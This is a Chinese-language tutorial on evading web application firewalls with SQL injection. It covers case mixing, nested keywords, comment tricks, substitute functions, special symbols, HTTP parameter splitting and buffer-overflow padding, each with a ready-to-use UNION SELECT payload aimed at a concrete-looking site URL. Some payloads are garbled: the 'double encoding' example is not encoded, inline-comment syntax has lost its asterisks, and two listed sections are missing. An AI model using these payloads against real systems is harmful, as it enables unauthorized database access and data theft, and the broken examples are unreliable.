1.大小写绕过
2.替换关键字
3.URL双重编码
4.使用注释
5.同功能的函数替换
6.特殊符号
7.HTTP参数控制
8.缓冲区溢出
9.番外篇-唠嗑
10.绕过总结
1.大小写绕过
大小写绕过主要用于针对小写或者大写的关键字匹配,如果各位有玩过上传漏洞靶场,那么对大小写绕过想必也是轻车熟路。
如果对方做了正则表达式或者其他的代码操作 对大小写敏感则无法绕过,当然这个也是最简单的绕过技术
举个栗子:777169.com/b.php?id=-5 UnIoN sElEcT 1,2,3
这个是示例,实际的情况可能filter的规则里有对大小写转换处理,但不是每个关键字都有处理(跟我们注入的适合 and 或用 or同样的道理 )
2.替换关键字
一般这种情况下大小写转换无法进行绕过,而且正则表达式会替换或者删除union,select这些关键字,当然一般只匹配一次就很容易绕过了
举个栗子:777169.com/b.php?id=-5 UNIunionON SELselectECT 1,2,3
这个也是比较简单的绕过,或者有时候药构造更复杂的语句 比如 SeleSELEselectCTct
3.URL双重编码
有时候URL只进行了一次过滤,这个时候,我们可以把我们构造的payload进行url双重编码
举个栗子:77169.com/b.php?id=-5//UNIunionON//SELselectECT/**/1,2,3
4.使用注释
首先我们要知道常用的注释符有哪些
这里列举了下 // -- /**/ # -- -- - ; -a
首先看看我们普通注释
举个栗子:77169.com/b.php?id=5%20order+by+5
特点是规避空格,跟关键字
当然还有我们的内联注释
一般我们内联注释用的比普通注释会更多,/!**/ 只能MYSQL识别
举个栗子:77169.com/b.php?id=-5 /!union/ /!select/ 1,2,3
为什么要做这个呢?就是为了拆分关键字让waf识别不出来 当然也有其他方法
5.同功能的函数替换
有时候我们一些功能函数不能用了,我们可以用相同效果的函数进行利用
下面简单列几个
concat_ws() & group_concat()mid(),substr() & substring()
@@user & user()
@@datadir & datadir()等等...
举个栗子:77169.com/b.php?id=5 union select 1,user()6.特殊符号
特殊字符是什么?除了字符串和数字都是特殊字符 比如~!@#¥%…………&*()—
乌云的一篇waf绕过技巧的文章的几个例子
1.使用反引号,例如select
version()`,可以用来过正则跟空格,特殊情况下还可以把它当成注释符来用
2.神奇的"- .", select id-1 1.from users; " "是用于字符串链接的,"-"和"."在此也用于连接,可以逃过空格和关键字过滤
3.@符号,select@……1.from users; @用于变量定义如@var_name,一个@表示用户定义,@@表示系统变量
4.Mysql function() as xxx 也可不用as和空格 select-count(id)test from users; //绕过空格限制
7.HTTP参数控制
这种方法是HTTP分割注入,使用控制字符 , 执行换行
也是比较好使的一种方法,
举个栗子: 77169.com/?id=1 union/&b=/select 1,user/&c=/from users--
这里是不同的参数之间进行分割,到了数据库执行查询时再合并语句
8.缓冲区溢出
缓冲区溢出用于对WAF,有不少WAF是C写的,而C语言本身没有缓冲区保护机制,因此如果WAF在处理测试量时超出其缓冲区长度,就会引发bug从而实现绕过
举个栗子: ?id=1 and(select 1)=(Select 0xA*1000) uNiOn SeLeCt 1,2,version(),4,5,database(),version(),8,9,10,11,12,13,14,15,16,17,18
栗子上的 0xA*1000 指的是0XA后面的 "A" 重复1000次,一般来说对应用软件构成缓冲区溢出都需要比较大的测试长度,这里1000仅供参考